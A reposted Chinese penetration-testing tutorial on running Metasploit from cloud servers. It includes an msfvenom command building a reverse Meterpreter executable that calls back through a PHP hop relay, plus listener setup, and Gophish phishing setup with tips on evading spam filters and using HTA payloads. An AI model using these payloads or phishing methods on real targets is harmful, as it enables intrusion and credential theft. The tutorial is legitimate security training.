Metasploit渗透测试之在云服务器中使用MSF

news2024/12/23 11:50:19
概述

随着云计算的发展,对基于云的应用程序、服务和基础设施的测试也在不断增加。在对云部署进行渗透测试时,最大的问题之一是共享所有权。过去,在进行渗透测试时,企业会拥有网络上的所有组件,我们可以对它们进行全部测试;而在云环境中,根据部署和服务模式的不同,我们的测试范围可能非常有限。

作为渗透测试人员开始使用云计算之前,先了解一些术语:

  • provider(提供商)是构建云部署的实体,它向一个或多个tenants (租户)提供服务;租户是与提供商签订服务合同的人。

  • 基础设施即服务 (IaaS):这是一种云服务模型,提供商提供硬件和网络连接,租户负责虚拟机及其上运行的所有软件。这意味着大多数组件都在租户控制范围内。

  • 平台即服务(PaaS): 在这种模式下,提供商负责提供硬件、网络连接、运行应用程序所需的组件、操作系统和依赖项;租户只负责提供和维护应用程序。

  • 软件即服务 (SaaS):SaaS 是一种即开即用解决方案;所有组件均由提供商提供和维护,我们几乎无法进行测试。

# 1、在云服务器中使用Metasploit

在前面文章中,已经向大家展示了如何在 DigitalOcean Droplet 中使用 Metasploit。在本节中,将讲解如何在云中部署 Metasploit,以及其他的一些选项。

# 准备工作

使用你熟悉的云服务平台,比如阿里云、腾讯云创建一个实例,系统选择Ubuntu22.04 64bit,内存2GB,硬盘大于40GB

image-20230831134757244

然后使用如下命令安装Metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装完成后,使用 msfconsole 来启动 Metasploit

root@iZj6cfmowyi6om20qcudx6Z:~# msfconsole 
       =[ metasploit v6.3.32-dev-                         ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE 
true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

# 更多平台

如果在AzureAmazon AWS中,可以直接选择Kali Linux镜像进行部署虚拟机。

snipaste_20230901_160258

如果你不想仅仅为了运行Metasploit而麻烦地部署新系统,也可以使用Google Cloud Shell

image-20230831135629548

直接用命令安装即可:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

image-20230831135741919

然后msfconsole启动

image-20230831135944577

# 2、Metasploit PHP Hop

在本教程中,将学习如何使用 Windows Meterpreter(反射注入)和反向跃点 HTTP/HTTPS Stage 攻击载荷。此攻击载荷允许我们通过 HTTP 或 HTTPS 代理进行隧道通信。首先,需要将metasploit-framework/data/php/目录中的hop.php文件上传到远程服务器,可以使用任何带有 PHP 的 Web 服务器。

# 准备工作

在云服务器上安装phpapache,在Ubuntu22.04上直接运行apt install php将会自动安装phpapache

接下来,复制hop.php/var/www/html/ 目录并启动 Apache2 服务

~# cp /opt/metasploit-framework/embedded/framework/data/php/hop.php /var/www/html/
# 怎么做

1、使用windows/meterpreter/reverse_hop_http攻击载荷,并创建一个二进制文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_hop_http HOPURL=http://192.168.91.140/hop.php -f exe -o hopper.exe

2、创建攻击载荷后,启用监听器

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_hop_http 
payload => windows/meterpreter/reverse_hop_http
msf6 exploit(multi/handler) > set HOPURL http://192.168.91.140/hop.php
HOPURL => http://8.217.184.170/hop.php
msf6 exploit(multi/handler) > exploit

[*] Preparing stage for next session 7D_Mcis5_VA82zzbWCsM4wOYrh5TKZEldZisSMKF8jq042260UfHb4Sdmj-tPwvdL6qHzRp0W0FGrlXODAA6BfsWIJK7K8-vyIc0BUa
[*] Uploaded stage to hop http://192.168.91.140/hop.php?/

一旦受害者运行攻击载荷,我们就会通过php Hop中继获得目标上的新会话。

在新版本中,这个功能已不可用,在msf4中可以正常使用。

# 3、来自云端的网络钓鱼

网络钓鱼是访问组织的最有效方法之一,但是,创建网络钓鱼活动可能是一项艰巨的任务,尤其是在您的邮件服务器最终被阻止的情况下。因此,使用云服务来托管我们的网络钓鱼框架并为我们的网络钓鱼电子邮件提供服务可能是解决我们问题的绝佳方法。

# 准备工作

对于我们的网络钓鱼活动,我们可以使用 Gophish,这是一个网络钓鱼框架,可以轻松测试组织对网络钓鱼的暴露程度。首先,你可以从官方网站 https://getgophish.com 下载 Gophish;然后,解压并运行 gophish

wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
└─$ ./gophish 
time="2023-09-04T12:37:36+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:37:36+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: migrating db environment 'production', current version: 0, target: 20220321133237
OK    20160118194630_init.sql
OK    20160131153104_0.1.2_add_event_details.sql
OK    20160211211220_0.1.2_add_ignore_cert_errors.sql
OK    20160217211342_0.1.2_create_from_col_results.sql
OK    20160225173824_0.1.2_capture_credentials.sql
OK    20160227180335_0.1.2_store-smtp-settings.sql
OK    20160317214457_0.2_redirect_url.sql
OK    20160605210903_0.2_campaign_scheduling.sql
OK    20170104220731_0.2_result_statuses.sql
OK    20170219122503_0.2.1_email_headers.sql
OK    20170827141312_0.4_utc_dates.sql
OK    20171027213457_0.4.1_maillogs.sql
OK    20171208201932_0.4.1_next_send_date.sql
OK    20180223101813_0.5.1_user_reporting.sql
OK    20180524203752_0.7.0_result_last_modified.sql
OK    20180527213648_0.7.0_store_email_request.sql
OK    20180830215615_0.7.0_send_by_date.sql
OK    20190105192341_0.8.0_rbac.sql
OK    20191104103306_0.9.0_create_webhooks.sql
OK    20200116000000_0.9.0_imap.sql
OK    20200619000000_0.11.0_password_policy.sql
OK    20200730000000_0.11.0_imap_ignore_cert_errors.sql
OK    20200914000000_0.11.0_last_login.sql
OK    20201201000000_0.11.0_account_locked.sql
OK    20220321133237_0.4.1_envelope_sender.sql
time="2023-09-04T12:37:37+08:00" level=info msg="Please login with the username admin and the password 07263bcd463ec9fb"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:37:37+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:37:37+08:00" level=info msg="Creating new self-signed certificates for administration interface"
time="2023-09-04T12:37:37+08:00" level=info msg="TLS Certificate Generation complete"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting admin server at https://127.0.0.1:3333"

要更改配置文件,请修改config.json

─$ cat config.json 
{
	"admin_server": {
		"listen_url": "0.0.0.0:3333",
		"use_tls": true,
		"cert_path": "gophish_admin.crt",
		"key_path": "gophish_admin.key",
		"trusted_origins": []
	},
	"phish_server": {
		"listen_url": "0.0.0.0:80",
		"use_tls": false,
		"cert_path": "example.crt",
		"key_path": "example.key"
	},
	"db_name": "sqlite3",
	"db_path": "gophish.db",
	"migrations_prefix": "db/db_",
	"contact_address": "",
	"logging": {
		"filename": "",
		"level": ""
	}
}

如果想降低钓鱼页面被发现的风险性,可以使用 Let's Encrypt 生成免费的 TLS 证书,并使用它来配置 Gophish 以通过 HTTPS 提供网络钓鱼 URL。

设置好配置文件后,重新启动gophish,使用一次性密码登录

─$ sudo ./gophish 
time="2023-09-04T12:44:49+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:44:49+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: no migrations to run. current version: 20220321133237
time="2023-09-04T12:44:49+08:00" level=info msg="Please login with the username admin and the password 63a853117929ea31"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:44:49+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting admin server at https://0.0.0.0:3333"

然后按照页面提示修改管理员密码

# 如何操作

通过管理仪表盘来配置网络钓鱼活动

image-20230904124730826

要发送电子邮件,首先需要在发送配置文件部分中配置 SMTP 中继详细信息:

image-20230904124914486

在为网络钓鱼活动设置电子邮件服务器时,不要忘记像在常规电子邮件服务器中一样配置 SPFDKIM 和 DMARC;这将使你的服务器看起来合法,并有更好的机会绕过反垃圾邮件技术。

确保网络钓鱼电子邮件到达目标收件人的一种方法是使用托管企业电子邮件解决方案,例如 Zoho Mail。只需访问 https://www.zoho.com/mail/,创建一个免费的企业电子邮件帐户,然后就可以开始了。它甚至允许设置自定义域,可以使用它来加强网络钓鱼活动的可信度。

在本教程中,不会介绍具体如何使用 Gophish 设置和配置网络钓鱼活动。可以参考Gophish官方手册:https://docs.getgophish.com/user-guide/

举例:通过Gophish结合 Metasploit HTA Web 服务器漏洞利用模块在网络钓鱼电子邮件中嵌入 HTML 应用程序链接,当目标打开电子邮件并运行 HTA 时,获得一个新的msf会话。

当然不仅仅局限于此,可以发挥你的想象,使用其他手段达到目的。

# 4、利用云服务构建渗透测试实验室

测试新工具和技术是渗透测试人员工作的重要组成部分。每天都会有新的工具被创造出来,新的技术也会被发现,所以要跟上行业的步伐。我们必须投入大量时间练习和掌握渗透测试所需工具。拥有一个可以设置实验室环境和实践的数据中心不太现实,而且可能非常昂贵。但随着云服务变得更便宜、更快、更容易使用,我们可以利用云平台建立我们自己的渗透测试实验环境。

# 怎么操作

Azure为例;创建一个免费帐户,你可以获得 200 美元试用额度。你会发现只需单击几下鼠标即可创建像本书中使用的那样的实验室环境。

部署易受攻击的机器的最大问题之一是控制它们并且不将它们暴露在互联网上。为此,我们可以创建一个虚拟网络,该网络将使用此网络服务在 Microsoft Azure 中创建一个逻辑上隔离的部分。这样,我们就可以使用私有 IP 地址、定义子网、使用我们自己的 DNS 服务器以及使用虚拟设备创建复杂的网络拓扑。

image-20230904131224347

若要详细了解如何创建虚拟网络,可以参考Azure的文档:

https://docs.microsoft.com/en-us/azure/virtual-network/quick-create-portal

Google Cloud Platform 和 Amazon Web Services (AWS) 也是出色的云服务,你可以在其上构建实验室;与 Azure 一样,都有免费试用的机会。

# 其他平台

如果你只是想练习,不想建立自己的实验室,你可以尝试一下 Hack The Box,访问 https://www.hackthebox.eu/,Hack The Box 是一个在线网站,该平台允许你通过一系列挑战来测试你的技能,其中一些挑战是模拟的现实场景,另一是 CTF 挑战。

你还可以访问 https://www.vulnhub.com/,下载一些存在漏洞的靶机,然后在自己的设备上运行和进行渗透测试练习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2231609.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt桌面应用开发 第一天

目录 1.默认代码解析 1.1main.h解析 1.2myWidget.h解析 1.3FirstProject.pro解析(FirstProject为创建的Qt项目名) 2.命名规范与快捷键 3.按钮控件及窗口设置 3.1按钮控件QPushButton类 3.2窗口常用设计 4.Qt中的对象树 5.Qt中的坐标系 Qt是一个…

简记Vue3(三)—— ref、props、生命周期、hooks

个人简介 👀个人主页: 前端杂货铺 🙋‍♂️学习方向: 主攻前端方向,正逐渐往全干发展 📃个人状态: 研发工程师,现效力于中国工业软件事业 🚀人生格言: 积跬步…

Mybatis查询数据库,返回List集合,集合元素也是List。

#有时间需求会要求&#xff1a;查询全校的学生数据&#xff0c;且学生数据按班级划分。那么就需要List<List<user>>类型的数据。 SQL语句 SELECT JSON_ARRAYAGG(JSON_OBJECT(name , name ,BJMC, BJMC ,BJBH,BJBH)) as dev_user FROM dev_user WHERE project_id …

Freertos学习日志(1)-基础知识

目录 1.什么是Freertos&#xff1f; 2.为什么要学习RTOS&#xff1f; 3.Freertos多任务处理的原理 1.什么是Freertos&#xff1f; RTOS&#xff0c;即&#xff08;Real Time Operating System 实时操作系统&#xff09;&#xff0c;是一种体积小巧、确定性强的计算机操作系统…

批量提取当前文件夹内的文件名

在需要提取的文件夹内新建一个txt文件&#xff0c;输入&#xff1a; dir ./b>name.txt 然后将该txt文件的扩展名改为.bat 如图 双击即可提取当前文件夹文件名&#xff0c;并保存到name.txt内

小林渗透入门:burpsuite+proxifier抓取小程序流量

目录 前提&#xff1a; 代理&#xff1a; proxifier&#xff1a; 步骤&#xff1a; bp证书安装 bp设置代理端口&#xff1a; proxifier设置规则&#xff1a; proxifier应用规则&#xff1a; 结果&#xff1a; 前提&#xff1a; 在介绍这两个工具具体实现方法之前&#xff0…

Node.js:session JWT

Node.js&#xff1a;session & JWT sessioncookiesessionexpress-session JWTexpress-jwt & jsonwebtoken session HTTP协议是无状态的&#xff0c;客户端的每次HTTP请求都是独立的&#xff0c;多个请求之间没有直接的关系&#xff0c;服务器不会保留每次HTTP请求的状…

后台管理系统的通用权限解决方案(七)SpringBoot整合SpringEvent实现操作日志记录(基于注解和切面实现)

1 Spring Event框架 除了记录程序运行日志&#xff0c;在实际项目中一般还会记录操作日志&#xff0c;包括操作类型、操作时间、操作员、管理员IP、操作原因等等&#xff08;一般叫审计&#xff09;。 操作日志一般保存在数据库&#xff0c;方便管理员查询。通常的做法在每个…

曹操出行借助 ApsaraMQ for Kafka Serverless 提升效率,成本节省超 20%

本文整理于 2024 年云栖大会主题演讲《云消息队列 ApsaraMQ Serverless 演进》&#xff0c;杭州优行科技有限公司消息中间件负责人王智洋分享 ApsaraMQ for Kafka Serverless 助力曹操出行实现成本优化和效率提升的实践经验。 曹操出行&#xff1a;科技驱动共享出行未来 曹操…

Mysql常用语法一篇文章速成

文章目录 前言前置环境数据库的增删改查查询数据查询所有条件查询多条件查询模糊查询分页查询排序查询分组查询⭐️⭐️关联查询关联分页查询 添加数据insert插入多条记录不指定列名(适用于所有列都有值的情况) 更新数据更新多条记录更新多个列更新不满足条件的记录 删除统计数…

信息安全数学基础(43)理想和商环

理想&#xff08;Ideal&#xff09; 定义&#xff1a; 设R是一个环&#xff0c;I是R的一个非空子集。如果I满足以下条件&#xff0c;则称I为R的一个理想&#xff1a; 对于任意的r1, r2 ∈ I&#xff0c;有r1 - r2 ∈ I&#xff08;加法封闭性&#xff09;。对于任意的r ∈ I&am…

node.js下载、安装、设置国内镜像源(永久)(Windows11)

目录 node-v20.18.0-x64工具下载安装设置国内镜像源&#xff08;永久&#xff09; node-v20.18.0-x64 工具 系统&#xff1a;Windows 11 下载 官网https://nodejs.org/zh-cn/download/package-manager 版本我是跟着老师选的node-v20.18.0-x64如图选择 Windows、x64、v20.18…

《JVM第3课》运行时数据区

无痛快速学习入门JVM&#xff0c;欢迎订阅本免费专栏 运行时数据区结构图如下&#xff1a; 可分为 5 个区域&#xff0c;分别是方法区、堆区、虚拟机栈、本地方法栈、程序计数器。这里大概介绍一下各个模块的作用&#xff0c;会在后面的文章展开讲。 类加载子系统会把类信息…

苏州金龙新V系客车创新引领旅游出行未来

10月25日&#xff0c;为期三天的“2024第六届旅游出行大会”在风景秀丽的云南省丽江市落下帷幕。本次大会由中国旅游车船协会主办&#xff0c;全面展示了中国旅游出行行业最新发展动态和发展成就&#xff0c;为旅游行业带来全新发展动力。 在大会期间&#xff0c;备受瞩目的展车…

QML旋转选择器组件Tumbler

1. 介绍 Tumbler是一个用于创建旋转选择器的组件。它提供了一种直观的方式来让用户从一组选项中进行选择&#xff0c;类似于转盘式数字密码锁。网上找的类似网图如下&#xff1a; 在QML里&#xff0c;这种组件一共有两个版本&#xff0c;分别在QtQuick.Extras 1.4(旧)和QtQuic…

思科路由器静态路由配置

转载请注明出处 该实验为静态路由配置实验&#xff0c;仅供参考 选择三台2811路由器 关闭电源-安装模块-开启电源&#xff08;以R1为例&#xff0c;其他两台也是一样操作&#xff01;&#xff09; 连线。注意R1与R3之间、R3与R2之间用DCE串口线&#xff08;如下图&#xff09;…

闪存学习_2:Flash-Aware Computing from Jihong Kim

闪存学习_2&#xff1a;Flash-Aware Computing from Jihong Kim【1】 一、三个闪存可靠性问题二、内存的分类三、NAND 闪存和 NOR 闪存四、HDD和SSD比较Reference 一、三个闪存可靠性问题 耐性&#xff08;即寿命&#xff09;&#xff1a;最多能经受编程和擦除的次数。数据保留…

双指针问题解法集(一)

1.指针对撞问题&#xff08;利用有序数组的单调性衍生&#xff09; 1.1LCR 179. 查找总价格为目标值的两个商品 - 力扣&#xff08;LeetCode&#xff09;​​​​​​ 1.1.1题目解析 有序数组&#xff0c;找到和为price的两个元素&#xff0c;只需要一个解即可。 1.1.2算法…

深度学习(十):伦理与社会影响的深度剖析(10/10)

深度学习&#xff1a;伦理与社会影响的深度剖析 一、深度学习的伦理挑战 &#xff08;一&#xff09;数据隐私之忧 深度学习模型的训练往往需要大量数据&#xff0c;而数据的收集过程可能会侵犯个人隐私。例如&#xff0c;据统计&#xff0c;面部识别技术在全球范围内每天会收…

网络模型——二层转发原理

网课地址&#xff1a;网络模型_二层转发原理&#xff08;三&#xff09;_哔哩哔哩_bilibili 一、路由交换 网络&#xff1a;用来信息通信&#xff0c;信息共享的平台。 网络节点&#xff08;交换机&#xff0c;路由器&#xff0c;防火墙&#xff0c;AP&#xff09;介质&#…